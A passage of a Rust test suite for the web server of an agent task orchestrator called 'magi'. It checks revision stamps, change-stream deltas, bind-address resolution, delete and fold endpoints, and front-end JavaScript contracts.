12992 && payload["talks_rev"].is_u64()
12993 && payload["notifications_rev"].is_u64()
12994 && payload["loop_rev"].is_u64(),
12995 "the client needs one revision per store to know what to refetch, \
12996 and `talks_rev` is the only notification a standing talk gets - a \
12997 phone whose radio slept through a turn learns about it here, as \
12998 does one whose operator started the loop from another device: \
12999 {payload}"
13000 );
13001
13002 let health = f.get("/api/health").await.json();
13009 for key in [
13010 "queue_rev",
13011 "runs_rev",
13012 "questions_rev",
13013 "talks_rev",
13014 "notifications_rev",
13015 "loop_rev",
13016 ] {
13017 assert!(
13018 health[key].is_u64(),
13019 "health is the change stream's fallback and is missing `{key}`: {health}"
13020 );
13021 }
13022 }
13023
13024 #[tokio::test]
13025 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13026 let f = Fixture::start().await;
13027 let before = f.get("/api/health").await.json()["talks_rev"]
13028 .as_u64()
13029 .expect("talks_rev");
13030
13031 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13032 std::thread::sleep(Duration::from_millis(10));
13033 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13034 on_disk.turns.push(crate::talk::Turn {
13035 who: crate::talk::Who::Operator,
13036 body: "a new turn".to_owned(),
13037 at: Timestamp::now(),
13038 attachments: Vec::new(),
13039 usage: None,
13040 });
13041 f.talks().put(&mut on_disk).expect("record a turn");
13042
13043 let after = f.get("/api/health").await.json()["talks_rev"]
13044 .as_u64()
13045 .expect("talks_rev");
13046 assert_ne!(
13047 before, after,
13048 "a phone must be able to notice a talk's reply without polling every store"
13049 );
13050 }
13051
13052 #[test]
13053 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13054 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13058 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13059 }
13060 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13061 assert!("everywhere".parse::<Bind>().is_err());
13062 }
13063
13064 #[test]
13065 fn an_explicit_bind_address_is_taken_verbatim() {
13066 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13067
13068 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13069
13070 assert_eq!(addr, asked);
13071 assert!(
13072 warning.is_none(),
13073 "an operator who named an address gets no lecture"
13074 );
13075 }
13076
13077 #[test]
13078 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13079 let (addr, warning) = resolve_bind(&Bind::Auto);
13080
13081 match addr {
13088 IpAddr::V4(ip) if is_tailnet(&ip) => {
13089 assert!(warning.is_none(), "a tailnet address needs no warning");
13090 }
13091 other => {
13092 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13093 let warning = warning.expect("a fallback has to explain itself");
13094 assert!(
13095 warning.contains("127.0.0.1") && warning.contains("local-only"),
13096 "the warning says what happened and what it costs: {warning}"
13097 );
13098 }
13099 }
13100 }
13101
13102 #[test]
13103 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13104 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13108 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13109 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13110 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13111 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13112 }
13113
13114 #[test]
13115 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13116 let ids = vec![
13117 "20260902-140501-aaaa".to_owned(),
13118 "20260902-140502-aabb".to_owned(),
13119 ];
13120
13121 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13122 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13123 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13124
13125 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13126 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13127 assert_eq!(short, "20260902-140502-aabb");
13128 }
13129 #[tokio::test]
13130 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13131 let fx = Fixture::start().await;
13137 let id = panel(
13138 &fx,
13139 "<img src=\"shot.png\">",
13140 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13141 );
13142
13143 let doc = fx
13145 .get(&format!("/api/questions/{id}/panel/index.html"))
13146 .await;
13147 assert_eq!(doc.status, 200, "{}", doc.body);
13148 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13149
13150 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13151 assert_eq!(sibling.status, 200, "{}", sibling.body);
13152 assert_eq!(sibling.header("content-type"), Some("image/png"));
13153 assert_eq!(
13154 sibling.header("content-security-policy"),
13155 Some(PANEL_CSP),
13156 "the sibling route must carry the same policy as the asset route"
13157 );
13158
13159 assert_eq!(
13162 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13163 200
13164 );
13165 }
13166
13167 #[test]
13168 fn delta_stamps_cover_add_update_remove_and_noop() {
13169 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13170 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13171 let delta = diff_stamps(&before, &after, 42);
13172 assert_eq!(delta.base, 42);
13173 assert_eq!(delta.changed, ["b", "c"]);
13174 assert_eq!(delta.removed, ["a"]);
13175 let same = diff_stamps(&after, &after, 43);
13176 assert!(same.changed.is_empty() && same.removed.is_empty());
13177 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13178 let nanos: Stamps = [("b".into(), (2, 20))].into();
13179 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13180 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13181 assert_eq!(stamps_revision(&Stamps::new()), 0);
13182 }
13183
13184 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13185 std::fs::create_dir_all(home.join("runs")).unwrap();
13186 Arc::new(Ui::new(
13187 Queue::at(home.join("queue")),
13188 Questions::at(home.join("questions")),
13189 Talks::at(home.join("talks")),
13190 home.join("runs"),
13191 home.to_owned(),
13192 PathBuf::from("/repo/magi"),
13193 ))
13194 }
13195
13196 #[tokio::test]
13197 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13198 let home = TempDir::new().unwrap();
13199 let ui = delta_test_ui(home.path());
13200 let mut task = Task::new(
13201 "stream task".into(),
13202 "text".into(),
13203 PathBuf::from("/repo"),
13204 Source::Human,
13205 );
13206 ui.queue.put(&mut task).unwrap();
13207 let response = events(State(ui.clone())).await.into_response();
13208 let mut stream = response.into_body().into_data_stream();
13209 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13210 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13211 .await
13212 .unwrap()
13213 .unwrap()
13214 .unwrap();
13215 let text = String::from_utf8(chunk.to_vec()).unwrap();
13216 let data = text
13217 .lines()
13218 .find_map(|line| {
13219 line.strip_prefix("data: ")
13220 .or_else(|| line.strip_prefix("data:"))
13221 })
13222 .unwrap();
13223 serde_json::from_str(data).unwrap()
13224 }
13225 let initial = change(&mut stream).await;
13226 assert!(initial.get("queue_delta").is_none());
13227 task.instruction.push_str(" changed");
13228 ui.queue.put(&mut task).unwrap();
13229 let updated = change(&mut stream).await;
13230 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13231 assert_eq!(
13232 updated["queue_delta"]["changed"],
13233 serde_json::json!([task.id])
13234 );
13235 assert_eq!(
13236 updated["queue_rev"].as_u64(),
13237 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13238 );
13239 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13240 let removed = change(&mut stream).await;
13241 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13242 assert_eq!(
13243 removed["queue_delta"]["removed"],
13244 serde_json::json!([task.id])
13245 );
13246 }
13247
13248 #[tokio::test]
13249 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13250 let home = TempDir::new().unwrap();
13251 let ui = delta_test_ui(home.path());
13252 let queue = ui.queue.clone();
13253 let query = |ids: Option<&str>| {
13254 Query(ListQuery {
13255 limit: Some(2),
13256 ids: ids.map(str::to_owned),
13257 })
13258 };
13259 let mut root = Task::new(
13260 "root".into(),
13261 "instruction".into(),
13262 PathBuf::from("/repo"),
13263 Source::Human,
13264 );
13265 queue.put(&mut root).unwrap();
13266 let mut blocked = Task::new(
13267 "blocked".into(),
13268 "instruction".into(),
13269 PathBuf::from("/repo"),
13270 Source::Human,
13271 );
13272 blocked.block(vec![root.id.clone()], None);
13273 queue.put(&mut blocked).unwrap();
13274 let whole =
13275 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13276 .unwrap();
13277 let subset = serde_json::to_value(
13278 queue_list(State(ui.clone()), query(Some(&root.id)))
13279 .await
13280 .unwrap()
13281 .0,
13282 )
13283 .unwrap();
13284 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13285 let blockers = serde_json::to_value(
13286 queue_list(State(ui.clone()), query(Some("")))
13287 .await
13288 .unwrap()
13289 .0,
13290 )
13291 .unwrap();
13292 assert_eq!(blockers.as_array().unwrap().len(), 1);
13293 assert_eq!(blockers[0]["id"], blocked.id);
13294 assert_eq!(
13295 blockers[0]["waits_on"],
13296 whole
13297 .as_array()
13298 .unwrap()
13299 .iter()
13300 .find(|row| row["id"] == blocked.id)
13301 .unwrap()["waits_on"]
13302 );
13303
13304 for id in [
13305 "20260902-140501-aaaa",
13306 "20260902-140502-bbbb",
13307 "20260902-140503-cccc",
13308 ] {
13309 write_run(&ui.runs, id, RunStatus::Merged);
13310 }
13311 let old = serde_json::to_value(
13312 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13313 .await
13314 .unwrap()
13315 .0,
13316 )
13317 .unwrap();
13318 assert!(
13319 old.as_array().unwrap().is_empty(),
13320 "older updates must not enter the window"
13321 );
13322 let newest = serde_json::to_value(
13323 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13324 .await
13325 .unwrap()
13326 .0,
13327 )
13328 .unwrap();
13329 assert_eq!(newest.as_array().unwrap().len(), 1);
13330 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13331
13332 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13333 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13334 let talks = serde_json::to_value(
13335 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13336 .await
13337 .unwrap()
13338 .0,
13339 )
13340 .unwrap();
13341 assert_eq!(talks.as_array().unwrap().len(), 1);
13342 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13343 assert_eq!(
13344 serde_json::to_value(
13345 talks_list(State(ui.clone()), query(Some("")))
13346 .await
13347 .unwrap()
13348 .0
13349 )
13350 .unwrap(),
13351 serde_json::json!([])
13352 );
13353 }
13354
13355 #[tokio::test]
13356 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13357 async fn delta_payload_benchmark() {
13358 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13359 let ui = delta_test_ui(&home);
13360 let query = |ids: Option<String>| {
13361 Query(ListQuery {
13362 limit: Some(50),
13363 ids,
13364 })
13365 };
13366 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13367 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13368 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13369 let queue_id = queue
13370 .iter()
13371 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13372 .unwrap_or(&queue[0])
13373 .task
13374 .id
13375 .clone();
13376 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13377 .await
13378 .unwrap()
13379 .0;
13380 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13381 .await
13382 .unwrap()
13383 .0;
13384 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13385 .await
13386 .unwrap()
13387 .0;
13388 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13389 eprintln!(
13390 "DELTA_PAYLOAD {}",
13391 serde_json::json!({
13392 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13393 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13394 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13395 "counts": [queue.len(), runs.len(), talks.len()],
13396 "blocked": queue_delta.len() - 1,
13397 })
13398 );
13399 }
13400
13401 #[test]
13402 fn runs_revision_moves_when_deleting_an_older_run() {
13403 let temp = TempDir::new().expect("tempdir");
13404 let runs = temp.path().join("runs");
13405 std::fs::create_dir_all(&runs).expect("create runs dir");
13406
13407 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13408
13409 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13410 std::thread::sleep(Duration::from_millis(10));
13411 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13412
13413 let rev_before = runs_revision(&runs);
13414 assert!(rev_before > 0);
13415
13416 let old_dir = runs.join("20260901-100000-old1");
13417 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13418
13419 let rev_after = runs_revision(&runs);
13420 assert_ne!(
13421 rev_before, rev_after,
13422 "deleting an older run must change the revision so other clients see the deletion"
13423 );
13424 }
13425
13426 fn write_state(runs: &FsPath, state: &RunState) {
13431 let dir = runs.join(&state.id);
13432 std::fs::create_dir_all(&dir).expect("run dir");
13433 std::fs::write(
13434 dir.join("run.json"),
13435 serde_json::to_string_pretty(state).expect("serialize run"),
13436 )
13437 .expect("write run.json");
13438 }
13439
13440 #[test]
13445 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13446 let temp = TempDir::new().expect("tempdir");
13447 let runs = temp.path().join("runs");
13448 std::fs::create_dir_all(&runs).expect("create runs dir");
13449 let mut state = RunState::new(
13450 PathBuf::from("/repo/magi"),
13451 "main".to_owned(),
13452 "0123456789abcdef".to_owned(),
13453 "task".to_owned(),
13454 Config::default(),
13455 );
13456 state.id = "20260902-100000-c0de".to_owned();
13457 write_state(&runs, &state);
13458
13459 let rev_idle = runs_revision(&runs);
13460 std::thread::sleep(Duration::from_millis(10));
13461 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13462 write_state(&runs, &state);
13463 let rev_started = runs_revision(&runs);
13464 assert_ne!(
13465 rev_idle, rev_started,
13466 "a seat starting must move the revision"
13467 );
13468
13469 std::thread::sleep(Duration::from_millis(10));
13470 state.seat_finished("judge-1");
13471 write_state(&runs, &state);
13472 let rev_finished = runs_revision(&runs);
13473 assert_ne!(
13474 rev_started, rev_finished,
13475 "and clearing it again must move the revision a second time"
13476 );
13477 }
13478
13479 #[tokio::test]
13480 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13481 let fx = Fixture::start().await;
13486 let q = fx.queue();
13487
13488 let mut t = Task::new(
13489 "Task".to_owned(),
13490 "Instruction".to_owned(),
13491 PathBuf::from("/repo"),
13492 Source::Human,
13493 );
13494 t.block(
13495 vec!["20260101-000000-dead".to_owned()],
13496 Some("waiting on Task 1".to_owned()),
13497 );
13498 t.answers.push(crate::queue::AnsweredQuestion {
13499 question: "Which backend?".to_owned(),
13500 answer: "SQLite".to_owned(),
13501 });
13502 q.put(&mut t).expect("put t");
13503
13504 let res = fx.get("/api/queue").await;
13505 assert_eq!(res.status, 200);
13506 let list = res.json();
13507 let view = list
13508 .as_array()
13509 .expect("array")
13510 .iter()
13511 .find(|v| v["id"] == t.id)
13512 .expect("task in list");
13513 assert_eq!(view["status_str"], "blocked");
13514 assert_eq!(
13515 view["blocked_by"],
13516 serde_json::json!(["20260101-000000-dead"])
13517 );
13518 assert_eq!(view["block_reason"], "waiting on Task 1");
13519 assert_eq!(view["answers"][0]["question"], "Which backend?");
13520 assert_eq!(view["answers"][0]["answer"], "SQLite");
13521
13522 let res = fx
13526 .post(&format!("/api/queue/{}/hold", t.short()), None)
13527 .await;
13528 assert_eq!(res.status, 200);
13529 let held = res.json();
13530 assert_eq!(held["status_str"], "held");
13531 assert_eq!(held["blocked_by"], serde_json::json!([]));
13532 assert!(held["block_reason"].is_null());
13533 assert_eq!(held["answers"][0]["answer"], "SQLite");
13534 }
13535
13536 #[tokio::test]
13537 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13538 let fx = Fixture::start().await;
13539 let q = fx.queue();
13540 let mk = |title: &str| {
13541 Task::new(
13542 title.to_owned(),
13543 "Instruction".to_owned(),
13544 PathBuf::from("/repo"),
13545 Source::Human,
13546 )
13547 };
13548 let mut root = mk("root");
13549 root.hold_manual(Some("waiting".to_owned()));
13550 q.put(&mut root).unwrap();
13551 let mut mid = mk("mid");
13552 mid.block(vec![root.id.clone()], None);
13553 q.put(&mut mid).unwrap();
13554 let mut leaf = mk("leaf");
13555 leaf.block(vec![mid.id.clone()], None);
13556 q.put(&mut leaf).unwrap();
13557
13558 let list = fx.get("/api/queue").await.json();
13559 let find = |id: &str| {
13560 list.as_array()
13561 .unwrap()
13562 .iter()
13563 .find(|v| v["id"] == id)
13564 .unwrap()
13565 .clone()
13566 };
13567 let leaf_view = find(&leaf.id);
13568 assert_eq!(
13569 leaf_view["waits_on"],
13570 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13571 );
13572 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13573 assert_eq!(
13574 find(&mid.id)["waits_on"],
13575 serde_json::json!([format!("{} (held)", root.short())])
13576 );
13577 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13578 }
13579
13580 #[tokio::test]
13581 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13582 let fx = Fixture::start().await;
13583 let q = fx.queue();
13584
13585 let mut t1 = Task::new(
13587 "Task 1".to_owned(),
13588 "Instruction 1".to_owned(),
13589 PathBuf::from("/repo"),
13590 Source::Human,
13591 );
13592 let run_id = "20260901-000000-r111";
13593 t1.runs.push(run_id.to_owned());
13594 write_run(&fx.runs(), run_id, RunStatus::Merged);
13595 q.put(&mut t1).expect("put t1");
13596
13597 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13599 assert_eq!(res.status, 204);
13600 assert!(res.body.is_empty(), "204 No Content has no body");
13601 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13602 assert!(
13603 fx.runs().join(run_id).exists(),
13604 "run directory must not be deleted when its task is deleted"
13605 );
13606
13607 let mut t2 = Task::new(
13609 "Task 2".to_owned(),
13610 "Instruction 2".to_owned(),
13611 PathBuf::from("/repo"),
13612 Source::Human,
13613 );
13614 t2.status = TaskStatus::Running;
13615 q.put(&mut t2).expect("put t2");
13616 let mut beat = crate::daemon::Status::new();
13617 beat.current = vec![crate::daemon::Current {
13618 task: t2.id.clone(),
13619 run: "20260901-000000-r222".to_owned(),
13620 }];
13621 beat.updated_at = jiff::Timestamp::now();
13622 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13623 .expect("publish a heartbeat");
13624 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13625 assert_eq!(res.status, 409);
13626 assert!(
13627 res.json()["error"]
13628 .as_str()
13629 .unwrap()
13630 .contains("live daemon")
13631 );
13632 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13633
13634 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13640 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13641 .expect("leave a stale heartbeat");
13642 let mut t3 = Task::new(
13643 "Task 3".to_owned(),
13644 "Instruction 3".to_owned(),
13645 PathBuf::from("/repo"),
13646 Source::Human,
13647 );
13648 t3.status = TaskStatus::Running;
13649 q.put(&mut t3).expect("put t3");
13650 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13651 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13652 assert_eq!(res.status, 204);
13653 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13654 assert!(
13655 q.claim(&t3.id).is_ok(),
13656 "the stale lock went with it, so the id is claimable again"
13657 );
13658
13659 let res = fx.delete("/api/queue/nonexistent").await;
13661 assert_eq!(res.status, 404);
13662 }
13663
13664 #[tokio::test]
13665 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13666 let fx = Fixture::start().await;
13667 let runs = fx.runs();
13668
13669 let run_id = "20260901-000000-fold";
13671 let mut state = RunState::new(
13672 PathBuf::from("/repo"),
13673 "main".to_owned(),
13674 "abc".to_owned(),
13675 "instruction".to_owned(),
13676 Config::default(),
13677 );
13678 state.id = run_id.to_owned();
13679 state.status = RunStatus::Merged;
13680 state.candidates.push(crate::run::Candidate {
13681 index: 0,
13682 label: 'A',
13683 agent: "a".to_owned(),
13684 branch: "b".to_owned(),
13685 worktree: PathBuf::from("/w"),
13686 summary: String::new(),
13687 stat: String::new(),
13688 files: 1,
13689 commits: 1,
13690 empty: false,
13691 failed: None,
13692 verified_noop: None,
13693 duration_ms: 0,
13694 folded: true,
13695 });
13696 let dir = runs.join(run_id);
13697 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13698 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13699 .expect("write artifact");
13700 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13701 .expect("write run.json");
13702
13703 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13705 assert_eq!(res.status, 204);
13706 assert!(res.body.is_empty(), "204 has no body");
13707 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13708
13709 let run_running = "20260901-000000-rung";
13714 write_run(&runs, run_running, RunStatus::Prep);
13715 let mut beat = crate::daemon::Status::new();
13716 beat.current = vec![crate::daemon::Current {
13717 task: "20260901-000000-task".to_owned(),
13718 run: run_running.to_owned(),
13719 }];
13720 beat.updated_at = jiff::Timestamp::now();
13721 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13722 .expect("publish a heartbeat");
13723 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13724 assert_eq!(res.status, 409);
13725 assert!(
13726 res.json()["error"]
13727 .as_str()
13728 .unwrap()
13729 .contains("live daemon"),
13730 "the refusal must say who is holding it"
13731 );
13732 assert!(
13733 runs.join(run_running).exists(),
13734 "a run in flight keeps its directory"
13735 );
13736
13737 let run_unfolded = "20260901-000000-unfd";
13739 let mut state2 = RunState::new(
13740 PathBuf::from("/repo"),
13741 "main".to_owned(),
13742 "abc".to_owned(),
13743 "instruction".to_owned(),
13744 Config::default(),
13745 );
13746 state2.id = run_unfolded.to_owned();
13747 state2.status = RunStatus::Ready;
13748 state2.candidates.push(crate::run::Candidate {
13749 index: 0,
13750 label: 'A',
13751 agent: "a".to_owned(),
13752 branch: "b".to_owned(),
13753 worktree: PathBuf::from("/w"),
13754 summary: String::new(),
13755 stat: String::new(),
13756 files: 1,
13757 commits: 1,
13758 empty: false,
13759 failed: None,
13760 verified_noop: None,
13761 duration_ms: 0,
13762 folded: false,
13763 });
13764 let dir2 = runs.join(run_unfolded);
13765 std::fs::create_dir_all(&dir2).expect("create dir2");
13766 std::fs::write(
13767 dir2.join("run.json"),
13768 serde_json::to_string(&state2).unwrap(),
13769 )
13770 .expect("write run.json");
13771
13772 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13773 assert_eq!(res.status, 409);
13774 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13775 assert!(dir2.exists(), "unfolded run directory is kept");
13776
13777 let res = fx.delete("/api/runs/nonexistent").await;
13779 assert_eq!(res.status, 404);
13780 }
13781
13782 #[test]
13791 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13792 let start = APP_JS
13793 .find("function renderStats() {")
13794 .expect("renderStats");
13795 let end = start
13796 + APP_JS[start..]
13797 .find("function statsTile(")
13798 .expect("the next top-level function");
13799 let body = &APP_JS[start..end];
13800
13801 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13802 let gate_end = gate_start
13803 + body[gate_start..]
13804 .find("}\n renderStatsQueue")
13805 .expect("the gate's own closing brace, right before the unconditional call");
13806 let gated = &body[gate_start..gate_end];
13807
13808 assert_eq!(
13809 body.matches("renderStatsQueue(").count(),
13810 1,
13811 "renderStats must call renderStatsQueue exactly once: {body}"
13812 );
13813 assert!(
13814 !gated.contains("renderStatsQueue"),
13815 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13816 run-derived panels on an empty run history - the queue panel has to render \
13817 regardless: {gated}"
13818 );
13819 }
13820
13821 #[test]
13822 fn web_ui_delete_contract_in_front_end() {
13823 assert!(APP_JS.contains("deleteRun:"));
13825 assert!(APP_JS.contains("deleteTask:"));
13826
13827 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13829 ..APP_JS.find("function renderRuns").unwrap()];
13830 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13831
13832 assert!(APP_JS.contains("renderRunDelete"));
13834 assert!(APP_JS.contains("runDeleteReason"));
13835 assert!(APP_JS.contains("magi fold"));
13836 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13837
13838 assert!(APP_JS.contains("cancel.focus"));
13840 assert!(APP_JS.contains("armedRunDelete"));
13841 assert!(APP_JS.contains("renderTaskDeleteBox"));
13842 assert!(APP_JS.contains("armed${cap(key)}"));
13843
13844 assert!(APP_JS.contains("disabled: status === \"running\""));
13846 }
13847
13848 #[test]
13868 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13869 let build = APP_JS
13870 .find("function createRunCard")
13871 .expect("createRunCard exists");
13872 let update = APP_JS
13873 .find("function updateRunCard")
13874 .expect("updateRunCard exists");
13875 let end = APP_JS
13876 .find("function renderRuns")
13877 .expect("renderRuns exists");
13878
13879 let builder = &APP_JS[build..update];
13881 let open = builder.find("refs = {").expect("createRunCard sets refs");
13882 let literal = &builder[open + "refs = {".len()..];
13883 let close = literal.find('}').expect("the refs literal is closed");
13884 let published: HashSet<&str> = literal[..close]
13885 .split(',')
13886 .filter_map(|entry| entry.split(':').next())
13888 .map(str::trim)
13889 .filter(|name| !name.is_empty())
13890 .collect();
13891 assert!(
13892 published.len() > 5,
13893 "the refs literal did not parse into names: {published:?}"
13894 );
13895
13896 let mut used: Vec<&str> = Vec::new();
13899 let updaters = &APP_JS[update..end];
13900 for (at, _) in updaters.match_indices("r.") {
13901 let before = updaters[..at].chars().next_back();
13904 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13905 continue;
13906 }
13907 let rest = &updaters[at + 2..];
13908 let len = rest
13909 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13910 .unwrap_or(rest.len());
13911 if len > 0 {
13912 used.push(&rest[..len]);
13913 }
13914 }
13915 assert!(
13916 used.len() > 5,
13917 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13918 );
13919
13920 let missing: Vec<&str> = used
13921 .iter()
13922 .copied()
13923 .filter(|name| !published.contains(name))
13924 .collect();
13925 assert!(
13926 missing.is_empty(),
13927 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13928 never put in `refs` - every card will throw and the list will \
13929 render empty under a count line that says otherwise. Published: \
13930 {published:?}"
13931 );
13932 }
13933
13934 #[tokio::test]
13935 async fn folding_from_the_phone_reports_what_it_removed() {
13936 let fx = Fixture::start().await;
13937 let runs = fx.runs();
13938
13939 let id = "20260901-000000-fold";
13943 write_run(&runs, id, RunStatus::Stalled);
13944 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13945 assert_eq!(res.status, 200);
13946 assert_eq!(res.json()["removed_count"], 0);
13947 assert_eq!(res.json()["run"], id);
13948 assert!(
13949 runs.join(id).exists(),
13950 "a fold keeps the run's record; only the worktrees go"
13951 );
13952 }
13953
13954 #[tokio::test]
13955 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13956 let fx = Fixture::start().await;
13957 let runs = fx.runs();
13958 let wt = fx.home.path().join("wt").join("magi").join("dead");
13959 let id = "20260901-000000-dead";
13960 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13961 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13962 std::fs::create_dir_all(&wt).expect("worktree dir");
13963
13964 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13965 assert_eq!(res.status, 200, "{}", res.body);
13966 assert!(
13967 res.json()["removed_count"].as_u64().unwrap() > 0,
13968 "the worktree this build could not read a state for still went"
13969 );
13970 assert!(
13971 !runs.join(id).exists(),
13972 "an unreadable run has no candidate list to fold selectively, so \
13973 the whole record goes - same as `magi fold` on the CLI"
13974 );
13975 }
13976
13977 #[tokio::test]
13978 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13979 let fx = Fixture::start().await;
13980 let runs = fx.runs();
13981 let wt = fx.home.path().join("wt").join("magi").join("gone");
13982 let id = "20260901-000000-gone";
13983 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13984 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13985 std::fs::create_dir_all(&wt).expect("worktree dir");
13986
13987 let res = fx.delete(&format!("/api/runs/{id}")).await;
13988 assert_eq!(res.status, 204, "{}", res.body);
13989 assert!(!runs.join(id).exists(), "the broken record is gone");
13990 assert!(!wt.exists(), "its worktree is gone too");
